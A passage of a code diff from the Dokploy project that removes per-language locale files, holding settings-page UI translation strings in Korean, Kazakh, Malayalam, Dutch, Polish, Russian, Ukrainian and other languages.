-	"settings.server.webServer.storage.cleanMonitoring": "モニタリングをクリーンアップ",
-	"settings.server.webServer.storage.cleanAll": "すべてをクリーンアップ",
-
-	"settings.profile.title": "アカウント",
-	"settings.profile.description": "ここでプロフィールの詳細を変更できます",
-	"settings.profile.email": "メールアドレス",
-	"settings.profile.password": "パスワード",
-	"settings.profile.avatar": "アバター",
-
-	"settings.appearance.title": "外観",
-	"settings.appearance.description": "ダッシュボードのテーマをカスタマイズ",
-	"settings.appearance.theme": "テーマ",
-	"settings.appearance.themeDescription": "ダッシュボードのテーマを選択してください",
-	"settings.appearance.themes.light": "ライト",
-	"settings.appearance.themes.dark": "ダーク",
-	"settings.appearance.themes.system": "システム",
-	"settings.appearance.language": "言語",
-	"settings.appearance.languageDescription": "ダッシュボードの言語を選択してください"
-}

apps/dokploy/public/locales/ko/common.json

@@ -1 +0,0 @@
-{}

apps/dokploy/public/locales/ko/settings.json

@@ -1,44 +0,0 @@
-{
-	"settings.common.save": "저장",
-	"settings.server.domain.title": "서버 도메인",
-	"settings.server.domain.description": "서버 애플리케이션에 도메인을 추가합니다.",
-	"settings.server.domain.form.domain": "도메인",
-	"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt 이메일",
-	"settings.server.domain.form.certificate.label": "인증서",
-	"settings.server.domain.form.certificate.placeholder": "인증서 선택",
-	"settings.server.domain.form.certificateOptions.none": "없음",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (기본)",
-
-	"settings.server.webServer.title": "웹 서버",
-	"settings.server.webServer.description": "웹 서버를 재시작하거나 정리합니다.",
-	"settings.server.webServer.actions": "작업",
-	"settings.server.webServer.reload": "재시작",
-	"settings.server.webServer.watchLogs": "로그 보기",
-	"settings.server.webServer.updateServerIp": "서버 IP 갱신",
-	"settings.server.webServer.server.label": "서버",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "환경 변수 수정",
-	"settings.server.webServer.storage.label": "저장 공간",
-	"settings.server.webServer.storage.cleanUnusedImages": "사용하지 않는 이미지 정리",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "사용하지 않는 볼륨 정리",
-	"settings.server.webServer.storage.cleanStoppedContainers": "정지된 컨테이너 정리",
-	"settings.server.webServer.storage.cleanDockerBuilder": "도커 빌더 & 시스템 정리",
-	"settings.server.webServer.storage.cleanMonitoring": "모니터링 데이터 정리",
-	"settings.server.webServer.storage.cleanAll": "전체 정리",
-
-	"settings.profile.title": "계정",
-	"settings.profile.description": "여기에서 프로필 세부 정보를 변경하세요.",
-	"settings.profile.email": "이메일",
-	"settings.profile.password": "비밀번호",
-	"settings.profile.avatar": "아바타",
-
-	"settings.appearance.title": "외관",
-	"settings.appearance.description": "대시보드의 테마를 사용자 설정합니다.",
-	"settings.appearance.theme": "테마",
-	"settings.appearance.themeDescription": "대시보드 테마 선택",
-	"settings.appearance.themes.light": "라이트",
-	"settings.appearance.themes.dark": "다크",
-	"settings.appearance.themes.system": "시스템",
-	"settings.appearance.language": "언어",
-	"settings.appearance.languageDescription": "대시보드에서 사용할 언어 선택"
-}

apps/dokploy/public/locales/kz/common.json

@@ -1 +0,0 @@
-{}

apps/dokploy/public/locales/kz/settings.json

@@ -1,41 +0,0 @@
-{
-	"settings.common.save": "Сақтау",
-	"settings.server.domain.title": "Сервер домені",
-	"settings.server.domain.description": "Dokploy сервер қолданбасына домен енгізіңіз.",
-	"settings.server.domain.form.domain": "Домен",
-	"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt Эл. поштасы",
-	"settings.server.domain.form.certificate.label": "Сертификат",
-	"settings.server.domain.form.certificate.placeholder": "Сертификатты таңдаңыз",
-	"settings.server.domain.form.certificateOptions.none": "Жоқ",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Стандартты)",
-	"settings.server.webServer.title": "Веб-Сервер",
-	"settings.server.webServer.description": "Веб-серверді қайта жүктеу немесе тазалау.",
-	"settings.server.webServer.actions": "Әрекеттер",
-	"settings.server.webServer.reload": "Қайта жүктеу",
-	"settings.server.webServer.watchLogs": "Журналдарды қарау",
-	"settings.server.webServer.updateServerIp": "Сервердің IP жаңарту",
-	"settings.server.webServer.server.label": "Сервер",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "Env Өзгерту",
-	"settings.server.webServer.storage.label": "Диск кеңістігі",
-	"settings.server.webServer.storage.cleanUnusedImages": "Пайдаланылмаған образды тазалау",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "Пайдаланылмаған томды тазалау",
-	"settings.server.webServer.storage.cleanStoppedContainers": "Тоқтатылған контейнерлерді тазалау",
-	"settings.server.webServer.storage.cleanDockerBuilder": "Docker Builder & Системаны тазалау",
-	"settings.server.webServer.storage.cleanMonitoring": "Мониторингті тазалау",
-	"settings.server.webServer.storage.cleanAll": "Барлығын тазалау",
-	"settings.profile.title": "Аккаунт",
-	"settings.profile.description": "Профиль мәліметтерін осы жерден өзгертіңіз.",
-	"settings.profile.email": "Эл. пошта",
-	"settings.profile.password": "Құпия сөз",
-	"settings.profile.avatar": "Аватар",
-	"settings.appearance.title": "Сыртқы түрі",
-	"settings.appearance.description": "Dokploy сыртқы келбетін өзгерту.",
-	"settings.appearance.theme": "Келбеті",
-	"settings.appearance.themeDescription": "Жүйе тақтасының келбетің таңдаңыз",
-	"settings.appearance.themes.light": "Жарық",
-	"settings.appearance.themes.dark": "Қараңғы",
-	"settings.appearance.themes.system": "Жүйелік",
-	"settings.appearance.language": "Тіл",
-	"settings.appearance.languageDescription": "Жүйе тақтасының тілің таңдаңыз"
-}

apps/dokploy/public/locales/ml/common.json

@@ -1 +0,0 @@
-{}

apps/dokploy/public/locales/ml/settings.json

@@ -1,58 +0,0 @@
-{
-	"settings.common.save": "സേവ് ചെയ്യുക",
-	"settings.common.enterTerminal": "ടർമിനലിൽ പ്രവേശിക്കുക",
-	"settings.server.domain.title": "സർവർ ഡോമെയ്ൻ",
-	"settings.server.domain.description": "നിങ്ങളുടെ സർവർ അപ്ലിക്കേഷനിൽ ഒരു ഡോമെയ്ൻ ചേർക്കുക.",
-	"settings.server.domain.form.domain": "ഡോമെയ്ൻ",
-	"settings.server.domain.form.letsEncryptEmail": "ലെറ്റ്സ് എൻക്രിപ്റ്റ് ഇമെയിൽ",
-	"settings.server.domain.form.certificate.label": "സർട്ടിഫിക്കറ്റ് പ്രൊവൈഡർ",
-	"settings.server.domain.form.certificate.placeholder": "ഒരു സർട്ടിഫിക്കറ്റ് തിരഞ്ഞെടുക്കുക",
-	"settings.server.domain.form.certificateOptions.none": "ഒന്നുമില്ല",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "ലെറ്റ്സ് എൻക്രിപ്റ്റ്",
-
-	"settings.server.webServer.title": "വെബ് സർവർ",
-	"settings.server.webServer.description": "വെബ് സർവർ റീലോഡ് ചെയ്യുക അല്ലെങ്കിൽ ശുചീകരിക്കുക.",
-	"settings.server.webServer.actions": "നടപടികൾ",
-	"settings.server.webServer.reload": "റീലോഡ് ചെയ്യുക",
-	"settings.server.webServer.watchLogs": "ലോഗുകൾ കാണുക",
-	"settings.server.webServer.updateServerIp": "സർവർ IP അപ്ഡേറ്റ് ചെയ്യുക",
-	"settings.server.webServer.server.label": "സർവർ",
-	"settings.server.webServer.traefik.label": "ട്രാഫിക്",
-	"settings.server.webServer.traefik.modifyEnv": "ചുറ്റുപാടുകൾ മാറ്റുക",
-	"settings.server.webServer.traefik.managePorts": "അധിക പോർട്ട് മാപ്പിംഗ്",
-	"settings.server.webServer.traefik.managePortsDescription": "ട്രാഫിക്കിനായി അധിക പോർട്ടുകൾ ചേർക്കുക അല്ലെങ്കിൽ നീക്കം ചെയ്യുക",
-	"settings.server.webServer.traefik.targetPort": "ടാർഗറ്റ് പോർട്ട്",
-	"settings.server.webServer.traefik.publishedPort": "പ്രസിദ്ധീകരിച്ച പോർട്ട്",
-	"settings.server.webServer.traefik.addPort": "പോർട്ട് ചേർക്കുക",
-	"settings.server.webServer.traefik.portsUpdated": "പോർട്ടുകൾ വിജയകരമായി അപ്ഡേറ്റ് ചെയ്തു",
-	"settings.server.webServer.traefik.portsUpdateError": "പോർട്ടുകൾ അപ്ഡേറ്റ് ചെയ്യാൻ പരാജയപ്പെട്ടു",
-	"settings.server.webServer.traefik.publishMode": "പ്രസിദ്ധീകരണ മോഡ്",
-	"settings.server.webServer.storage.label": "ഇടം",
-	"settings.server.webServer.storage.cleanUnusedImages": "ഉപയോഗിക്കാത്ത ഇമേജുകൾ ശുചീകരിക്കുക",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "ഉപയോഗിക്കാത്ത വോള്യങ്ങൾ ശുചീകരിക്കുക",
-	"settings.server.webServer.storage.cleanStoppedContainers": "നിർത്തിയ കണ്ടെയ്‌നറുകൾ ശുചീകരിക്കുക",
-	"settings.server.webServer.storage.cleanDockerBuilder": "ഡോക്കർ ബിൽഡറും സിസ്റ്റവും ശുചീകരിക്കുക",
-	"settings.server.webServer.storage.cleanMonitoring": "മോണിറ്ററിംഗ് ശുചീകരിക്കുക",
-	"settings.server.webServer.storage.cleanAll": "എല്ലാം ശുചീകരിക്കുക",
-
-	"settings.profile.title": "അക്കൗണ്ട്",
-	"settings.profile.description": "നിങ്ങളുടെ പ്രൊഫൈൽ വിശദാംശങ്ങൾ ഇവിടെ മാറ്റുക.",
-	"settings.profile.email": "ഇമെയിൽ",
-	"settings.profile.password": "പാസ്വേഡ്",
-	"settings.profile.avatar": "അവതാർ",
-
-	"settings.appearance.title": "ദൃശ്യമാനം",
-	"settings.appearance.description": "നിങ്ങളുടെ ഡാഷ്ബോർഡിന്റെ തീം ഇഷ്ടാനുസൃതമാക്കുക.",
-	"settings.appearance.theme": "തീം",
-	"settings.appearance.themeDescription": "നിങ്ങളുടെ ഡാഷ്ബോർഡിന് ഒരു തീം തിരഞ്ഞെടുക്കുക",
-	"settings.appearance.themes.light": "ലൈറ്റ്",
-	"settings.appearance.themes.dark": "ഡാർക്ക്",
-	"settings.appearance.themes.system": "സിസ്റ്റം",
-	"settings.appearance.language": "ഭാഷ",
-	"settings.appearance.languageDescription": "നിങ്ങളുടെ ഡാഷ്ബോർഡിന് ഒരു ഭാഷ തിരഞ്ഞെടുക്കുക",
-
-	"settings.terminal.connectionSettings": "കണക്ഷൻ ക്രമീകരണങ്ങൾ",
-	"settings.terminal.ipAddress": "IP വിലാസം",
-	"settings.terminal.port": "പോർട്ട്",
-	"settings.terminal.username": "ഉപയോക്തൃനാമം"
-}

apps/dokploy/public/locales/nl/common.json

@@ -1 +0,0 @@
-{}

apps/dokploy/public/locales/nl/settings.json

@@ -1,58 +0,0 @@
-{
-	"settings.common.save": "Opslaan",
-	"settings.common.enterTerminal": "Terminal",
-	"settings.server.domain.title": "Server Domein",
-	"settings.server.domain.description": "Voeg een domein toe aan jouw server applicatie.",
-	"settings.server.domain.form.domain": "Domein",
-	"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt Email",
-	"settings.server.domain.form.certificate.label": "Certificaat Aanbieder",
-	"settings.server.domain.form.certificate.placeholder": "Select een certificaat",
-	"settings.server.domain.form.certificateOptions.none": "Geen",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
-
-	"settings.server.webServer.title": "Web Server",
-	"settings.server.webServer.description": "Herlaad of maak de web server schoon.",
-	"settings.server.webServer.actions": "Acties",
-	"settings.server.webServer.reload": "Herladen",
-	"settings.server.webServer.watchLogs": "Bekijk Logs",
-	"settings.server.webServer.updateServerIp": "Update de Server IP",
-	"settings.server.webServer.server.label": "Server",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "Bewerk Omgeving",
-	"settings.server.webServer.traefik.managePorts": "Extra Poort Mappings",
-	"settings.server.webServer.traefik.managePortsDescription": "Bewerk extra Poorten voor Traefik",
-	"settings.server.webServer.traefik.targetPort": "Doel Poort",
-	"settings.server.webServer.traefik.publishedPort": "Gepubliceerde Poort",
-	"settings.server.webServer.traefik.addPort": "Voeg Poort toe",
-	"settings.server.webServer.traefik.portsUpdated": "Poorten succesvol aangepast",
-	"settings.server.webServer.traefik.portsUpdateError": "Poorten niet succesvol aangepast",
-	"settings.server.webServer.traefik.publishMode": "Publiceer Mode",
-	"settings.server.webServer.storage.label": "Opslag",
-	"settings.server.webServer.storage.cleanUnusedImages": "Maak ongebruikte images schoon",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "Maak ongebruikte volumes schoon",
-	"settings.server.webServer.storage.cleanStoppedContainers": "Maak gestopte containers schoon",
-	"settings.server.webServer.storage.cleanDockerBuilder": "Maak Docker Builder & Systeem schoon",
-	"settings.server.webServer.storage.cleanMonitoring": "Maak monitoor schoon",
-	"settings.server.webServer.storage.cleanAll": "Maak alles schoon",
-
-	"settings.profile.title": "Account",
-	"settings.profile.description": "Veramder details van account.",
-	"settings.profile.email": "Email",
-	"settings.profile.password": "Wachtwoord",
-	"settings.profile.avatar": "Profiel Icoon",
-
-	"settings.appearance.title": "Uiterlijk",
-	"settings.appearance.description": "Verander het thema van je dashboard.",
-	"settings.appearance.theme": "Thema",
-	"settings.appearance.themeDescription": "Selecteer een thema voor je dashboard.",
-	"settings.appearance.themes.light": "Licht",
-	"settings.appearance.themes.dark": "Donker",
-	"settings.appearance.themes.system": "Systeem",
-	"settings.appearance.language": "Taal",
-	"settings.appearance.languageDescription": "Selecteer een taal voor je dashboard.",
-
-	"settings.terminal.connectionSettings": "Verbindings instellingen",
-	"settings.terminal.ipAddress": "IP Address",
-	"settings.terminal.port": "Poort",
-	"settings.terminal.username": "Gebruikersnaam"
-}

apps/dokploy/public/locales/no/common.json

@@ -1 +0,0 @@
-{}

apps/dokploy/public/locales/no/settings.json

@@ -1,52 +0,0 @@
-{
-	"settings.common.save": "Lagre",
-	"settings.server.domain.title": "Serverdomene",
-	"settings.server.domain.description": "Legg til et domene i serverapplikasjonen din.",
-	"settings.server.domain.form.domain": "Domene",
-	"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt Epost",
-	"settings.server.domain.form.certificate.label": "Sertifikatleverandør",
-	"settings.server.domain.form.certificate.placeholder": "Velg et sertifikat",
-	"settings.server.domain.form.certificateOptions.none": "Ingen",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
-
-	"settings.server.webServer.title": "Webserver",
-	"settings.server.webServer.description": "Last på nytt eller rens webserveren.",
-	"settings.server.webServer.actions": "Handlinger",
-	"settings.server.webServer.reload": "Last på nytt",
-	"settings.server.webServer.watchLogs": "Se logger",
-	"settings.server.webServer.updateServerIp": "Oppdater server-IP",
-	"settings.server.webServer.server.label": "Server",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "Endre miljø",
-	"settings.server.webServer.traefik.managePorts": "Ytterligere portkartlegginger",
-	"settings.server.webServer.traefik.managePortsDescription": "Legg til eller fjern flere porter for Traefik",
-	"settings.server.webServer.traefik.targetPort": "Målport",
-	"settings.server.webServer.traefik.publishedPort": "Publisert port",
-	"settings.server.webServer.traefik.addPort": "Legg til port",
-	"settings.server.webServer.traefik.portsUpdated": "Portene ble oppdatert",
-	"settings.server.webServer.traefik.portsUpdateError": "Kunne ikke oppdatere portene",
-	"settings.server.webServer.traefik.publishMode": "Publiseringsmodus",
-	"settings.server.webServer.storage.label": "Lagring",
-	"settings.server.webServer.storage.cleanUnusedImages": "Rens ubrukte bilder",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "Rens ubrukte volumer",
-	"settings.server.webServer.storage.cleanStoppedContainers": "Rens stoppete containere",
-	"settings.server.webServer.storage.cleanDockerBuilder": "Rens Docker Builder og System",
-	"settings.server.webServer.storage.cleanMonitoring": "Rens overvåking",
-	"settings.server.webServer.storage.cleanAll": "Rens alt",
-
-	"settings.profile.title": "Konto",
-	"settings.profile.description": "Endre detaljene for profilen din her.",
-	"settings.profile.email": "Epost",
-	"settings.profile.password": "Passord",
-	"settings.profile.avatar": "Avatar",
-
-	"settings.appearance.title": "Utseende",
-	"settings.appearance.description": "Tilpass temaet for dashbordet ditt.",
-	"settings.appearance.theme": "Tema",
-	"settings.appearance.themeDescription": "Velg et tema for dashbordet ditt",
-	"settings.appearance.themes.light": "Lys",
-	"settings.appearance.themes.dark": "Mørk",
-	"settings.appearance.themes.system": "System",
-	"settings.appearance.language": "Språk",
-	"settings.appearance.languageDescription": "Velg et språk for dashbordet ditt"
-}

apps/dokploy/public/locales/pl/common.json

@@ -1 +0,0 @@
-{}

apps/dokploy/public/locales/pl/settings.json

@@ -1,58 +0,0 @@
-{
-	"settings.common.save": "Zapisz",
-	"settings.common.enterTerminal": "Otwórz terminal",
-	"settings.server.domain.title": "Domena",
-	"settings.server.domain.description": "Dodaj domenę do aplikacji",
-	"settings.server.domain.form.domain": "Domena",
-	"settings.server.domain.form.letsEncryptEmail": "Email Let's Encrypt",
-	"settings.server.domain.form.certificate.label": "Certyfikat",
-	"settings.server.domain.form.certificate.placeholder": "Wybierz certyfikat",
-	"settings.server.domain.form.certificateOptions.none": "Brak",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Domyślny)",
-
-	"settings.server.webServer.title": "Serwer",
-	"settings.server.webServer.description": "Przeładuj lub wyczyść serwer",
-	"settings.server.webServer.actions": "Akcje",
-	"settings.server.webServer.reload": "Przeładuj",
-	"settings.server.webServer.watchLogs": "Obserwuj logi",
-	"settings.server.webServer.updateServerIp": "Zaktualizuj IP serwera",
-	"settings.server.webServer.server.label": "Serwer",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "Zmodyfikuj środowisko",
-	"settings.server.webServer.traefik.managePorts": "Dodatkowe mapowania portów",
-	"settings.server.webServer.traefik.managePortsDescription": "Dodaj lub usuń dodatkowe porty dla Traefik",
-	"settings.server.webServer.traefik.targetPort": "Port docelowy",
-	"settings.server.webServer.traefik.publishedPort": "Port opublikowany",
-	"settings.server.webServer.traefik.addPort": "Dodaj port",
-	"settings.server.webServer.traefik.portsUpdated": "Porty zaktualizowane pomyślnie",
-	"settings.server.webServer.traefik.portsUpdateError": "Nie udało się zaktualizować portów",
-	"settings.server.webServer.traefik.publishMode": "Tryb publikacji",
-	"settings.server.webServer.storage.label": "Przestrzeń",
-	"settings.server.webServer.storage.cleanUnusedImages": "Wyczyść nieużywane obrazy",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "Wyczyść nieużywane wolumeny",
-	"settings.server.webServer.storage.cleanStoppedContainers": "Wyczyść zatrzymane kontenery",
-	"settings.server.webServer.storage.cleanDockerBuilder": "Wyczyść Docker Builder i System",
-	"settings.server.webServer.storage.cleanMonitoring": "Wyczyść monitorowanie",
-	"settings.server.webServer.storage.cleanAll": "Wyczyść wszystko",
-
-	"settings.profile.title": "Konto",
-	"settings.profile.description": "Zmień szczegóły swojego profilu",
-	"settings.profile.email": "Email",
-	"settings.profile.password": "Hasło",
-	"settings.profile.avatar": "Avatar",
-
-	"settings.appearance.title": "Wygląd",
-	"settings.appearance.description": "Dostosuj motyw swojego pulpitu",
-	"settings.appearance.theme": "Motyw",
-	"settings.appearance.themeDescription": "Wybierz motyw swojego pulpitu",
-	"settings.appearance.themes.light": "Jasny",
-	"settings.appearance.themes.dark": "Ciemny",
-	"settings.appearance.themes.system": "System",
-	"settings.appearance.language": "Język",
-	"settings.appearance.languageDescription": "Wybierz język swojego pulpitu",
-
-	"settings.terminal.connectionSettings": "Ustawienia połączenia",
-	"settings.terminal.ipAddress": "Adres IP",
-	"settings.terminal.port": "Port",
-	"settings.terminal.username": "Nazwa użytkownika"
-}

apps/dokploy/public/locales/pt-br/common.json

@@ -1 +0,0 @@
-{}

apps/dokploy/public/locales/pt-br/settings.json

@@ -1,44 +0,0 @@
-{
-	"settings.common.save": "Salvar",
-	"settings.server.domain.title": "Domínio do Servidor",
-	"settings.server.domain.description": "Configure o domínio do servidor",
-	"settings.server.domain.form.domain": "Domínio",
-	"settings.server.domain.form.letsEncryptEmail": "Email do Let's Encrypt",
-	"settings.server.domain.form.certificate.label": "Certificado",
-	"settings.server.domain.form.certificate.placeholder": "Selecione um Certificado",
-	"settings.server.domain.form.certificateOptions.none": "Nenhum",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Padrão)",
-
-	"settings.server.webServer.title": "Servidor web",
-	"settings.server.webServer.description": "Limpar e recarregar servidor web.",
-	"settings.server.webServer.actions": "Ações",
-	"settings.server.webServer.reload": "Recarregar",
-	"settings.server.webServer.watchLogs": "Ver logs",
-	"settings.server.webServer.updateServerIp": "Atualizar IP do Servidor",
-	"settings.server.webServer.server.label": "Servidor",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "Alterar Env",
-	"settings.server.webServer.storage.label": "Armazenamento",
-	"settings.server.webServer.storage.cleanUnusedImages": "Limpar imagens não utilizadas",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "Limpar volumes não utilizados",
-	"settings.server.webServer.storage.cleanStoppedContainers": "Limpar containers parados",
-	"settings.server.webServer.storage.cleanDockerBuilder": "Limpar Docker Builder & System",
-	"settings.server.webServer.storage.cleanMonitoring": "Limpar Monitoramento",
-	"settings.server.webServer.storage.cleanAll": "Limpar Tudo",
-
-	"settings.profile.title": "Conta",
-	"settings.profile.description": "Altere os detalhes do seu perfil aqui.",
-	"settings.profile.email": "Email",
-	"settings.profile.password": "Senha",
-	"settings.profile.avatar": "Avatar",
-
-	"settings.appearance.title": "Aparencia",
-	"settings.appearance.description": "Personalize o tema do seu dashboard.",
-	"settings.appearance.theme": "Tema",
-	"settings.appearance.themeDescription": "Selecione um tema para o dashboard",
-	"settings.appearance.themes.light": "Claro",
-	"settings.appearance.themes.dark": "Escuro",
-	"settings.appearance.themes.system": "Automático",
-	"settings.appearance.language": "Linguagem",
-	"settings.appearance.languageDescription": "Selecione o idioma do dashboard"
-}

apps/dokploy/public/locales/ru/common.json

@@ -1 +0,0 @@
-{}

apps/dokploy/public/locales/ru/settings.json

@@ -1,58 +0,0 @@
-{
-	"settings.common.save": "Сохранить",
-	"settings.common.enterTerminal": "Открыть терминал",
-	"settings.server.domain.title": "Домен сервера",
-	"settings.server.domain.description": "Установите домен для вашего серверного приложения Dokploy.",
-	"settings.server.domain.form.domain": "Домен",
-	"settings.server.domain.form.letsEncryptEmail": "Email для Let's Encrypt",
-	"settings.server.domain.form.certificate.label": "Сертификат",
-	"settings.server.domain.form.certificate.placeholder": "Выберите сертификат",
-	"settings.server.domain.form.certificateOptions.none": "Нет",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
-
-	"settings.server.webServer.title": "Веб-сервер",
-	"settings.server.webServer.description": "Перезагрузка или очистка веб-сервера.",
-	"settings.server.webServer.actions": "Действия",
-	"settings.server.webServer.reload": "Перезагрузить",
-	"settings.server.webServer.watchLogs": "Просмотр логов",
-	"settings.server.webServer.updateServerIp": "Изменить IP адрес",
-	"settings.server.webServer.server.label": "Сервер",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "Изменить переменные окружения",
-	"settings.server.webServer.traefik.managePorts": "Назначение портов",
-	"settings.server.webServer.traefik.managePortsDescription": "Добавить или удалить дополнительные порты для Traefik",
-	"settings.server.webServer.traefik.targetPort": "Внутренний порт",
-	"settings.server.webServer.traefik.publishedPort": "Внешний порт",
-	"settings.server.webServer.traefik.addPort": "Добавить порт",
-	"settings.server.webServer.traefik.portsUpdated": "Порты успешно обновлены",
-	"settings.server.webServer.traefik.portsUpdateError": "Не удалось обновить порты",
-	"settings.server.webServer.traefik.publishMode": "Режим сопоставления",
-	"settings.server.webServer.storage.label": "Дисковое пространство",
-	"settings.server.webServer.storage.cleanUnusedImages": "Очистить неиспользуемые образы",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "Очистить неиспользуемые тома",
-	"settings.server.webServer.storage.cleanStoppedContainers": "Очистить остановленные контейнеры",
-	"settings.server.webServer.storage.cleanDockerBuilder": "Очистить Docker Builder и систему",
-	"settings.server.webServer.storage.cleanMonitoring": "Очистить мониторинг",
-	"settings.server.webServer.storage.cleanAll": "Очистить все",
-
-	"settings.profile.title": "Аккаунт",
-	"settings.profile.description": "Измените данные вашего профиля.",
-	"settings.profile.email": "Email",
-	"settings.profile.password": "Пароль",
-	"settings.profile.avatar": "Аватар",
-
-	"settings.appearance.title": "Внешний вид",
-	"settings.appearance.description": "Настройте тему Dokploy.",
-	"settings.appearance.theme": "Тема",
-	"settings.appearance.themeDescription": "Выберите тему системной панели",
-	"settings.appearance.themes.light": "Светлая",
-	"settings.appearance.themes.dark": "Темная",
-	"settings.appearance.themes.system": "Системная",
-	"settings.appearance.language": "Язык",
-	"settings.appearance.languageDescription": "Выберите язык для панели управления",
-
-	"settings.terminal.connectionSettings": "Настройки подключения",
-	"settings.terminal.ipAddress": "IP адрес",
-	"settings.terminal.port": "Порт",
-	"settings.terminal.username": "Имя пользователя"
-}

apps/dokploy/public/locales/tr/common.json

@@ -1 +0,0 @@
-{}

apps/dokploy/public/locales/tr/settings.json

@@ -1,44 +0,0 @@
-{
-	"settings.common.save": "Kaydet",
-	"settings.server.domain.title": "Sunucu Alanı",
-	"settings.server.domain.description": "Sunucu uygulamanıza bir alan adı ekleyin.",
-	"settings.server.domain.form.domain": "Alan Adı",
-	"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt E-postası",
-	"settings.server.domain.form.certificate.label": "Sertifika",
-	"settings.server.domain.form.certificate.placeholder": "Bir sertifika seçin",
-	"settings.server.domain.form.certificateOptions.none": "Hiçbiri",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Varsayılan)",
-
-	"settings.server.webServer.title": "Web Sunucusu",
-	"settings.server.webServer.description": "Web sunucusunu yeniden yükleyin veya temizleyin.",
-	"settings.server.webServer.actions": "İşlemler",
-	"settings.server.webServer.reload": "Yeniden Yükle",
-	"settings.server.webServer.watchLogs": "Günlükleri İzle",
-	"settings.server.webServer.updateServerIp": "Sunucu IP'sini Güncelle",
-	"settings.server.webServer.server.label": "Sunucu",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "Env Değiştir",
-	"settings.server.webServer.storage.label": "Alan",
-	"settings.server.webServer.storage.cleanUnusedImages": "Kullanılmayan görüntüleri temizle",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "Kullanılmayan birimleri temizle",
-	"settings.server.webServer.storage.cleanStoppedContainers": "Durmuş konteynerleri temizle",
-	"settings.server.webServer.storage.cleanDockerBuilder": "Docker Builder ve Sistemi Temizle",
-	"settings.server.webServer.storage.cleanMonitoring": "İzlemeyi Temizle",
-	"settings.server.webServer.storage.cleanAll": "Hepsini temizle",
-
-	"settings.profile.title": "Hesap",
-	"settings.profile.description": "Profil detaylarınızı buradan değiştirebilirsiniz.",
-	"settings.profile.email": "E-posta",
-	"settings.profile.password": "Şifre",
-	"settings.profile.avatar": "Profil Resmi",
-
-	"settings.appearance.title": "Görünüm",
-	"settings.appearance.description": "Kontrol panelinin temasını özelleştirin.",
-	"settings.appearance.theme": "Tema",
-	"settings.appearance.themeDescription": "Kontrol paneli için bir tema seçin",
-	"settings.appearance.themes.light": "Açık",
-	"settings.appearance.themes.dark": "Koyu",
-	"settings.appearance.themes.system": "Sistem",
-	"settings.appearance.language": "Dil",
-	"settings.appearance.languageDescription": "Kontrol paneli için bir dil seçin"
-}

apps/dokploy/public/locales/uk/common.json

@@ -1 +0,0 @@
-{}

apps/dokploy/public/locales/uk/settings.json

@@ -1,58 +0,0 @@
-{
-	"settings.common.save": "Зберегти",
-	"settings.common.enterTerminal": "Увійти в термінал",
-	"settings.server.domain.title": "Домен сервера",
-	"settings.server.domain.description": "Додайте домен до вашого серверного застосунку.",
-	"settings.server.domain.form.domain": "Домен",
-	"settings.server.domain.form.letsEncryptEmail": "Електронна пошта для Let's Encrypt",
-	"settings.server.domain.form.certificate.label": "Постачальник сертифікатів",
-	"settings.server.domain.form.certificate.placeholder": "Оберіть сертифікат",
-	"settings.server.domain.form.certificateOptions.none": "Відсутній",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
-
-	"settings.server.webServer.title": "Веб-сервер",
-	"settings.server.webServer.description": "Перезавантажте або очистьте веб-сервер.",
-	"settings.server.webServer.actions": "Дії",
-	"settings.server.webServer.reload": "Перезавантажити",
-	"settings.server.webServer.watchLogs": "Перегляд логів",
-	"settings.server.webServer.updateServerIp": "Оновити IP-адресу сервера",
-	"settings.server.webServer.server.label": "Сервер",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "Змінити середовище",
-	"settings.server.webServer.traefik.managePorts": "Додаткові порти",
-	"settings.server.webServer.traefik.managePortsDescription": "Додайте або видаліть порти для Traefik",
-	"settings.server.webServer.traefik.targetPort": "Цільовий порт",
-	"settings.server.webServer.traefik.publishedPort": "Опублікований порт",
-	"settings.server.webServer.traefik.addPort": "Додати порт",
-	"settings.server.webServer.traefik.portsUpdated": "Порти успішно оновлено",
-	"settings.server.webServer.traefik.portsUpdateError": "Не вдалося оновити порти",
-	"settings.server.webServer.traefik.publishMode": "Режим публікації",
-	"settings.server.webServer.storage.label": "Дисковий простір",
-	"settings.server.webServer.storage.cleanUnusedImages": "Очистити невикористані образи",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "Очистити невикористані томи",
-	"settings.server.webServer.storage.cleanStoppedContainers": "Очистити зупинені контейнери",
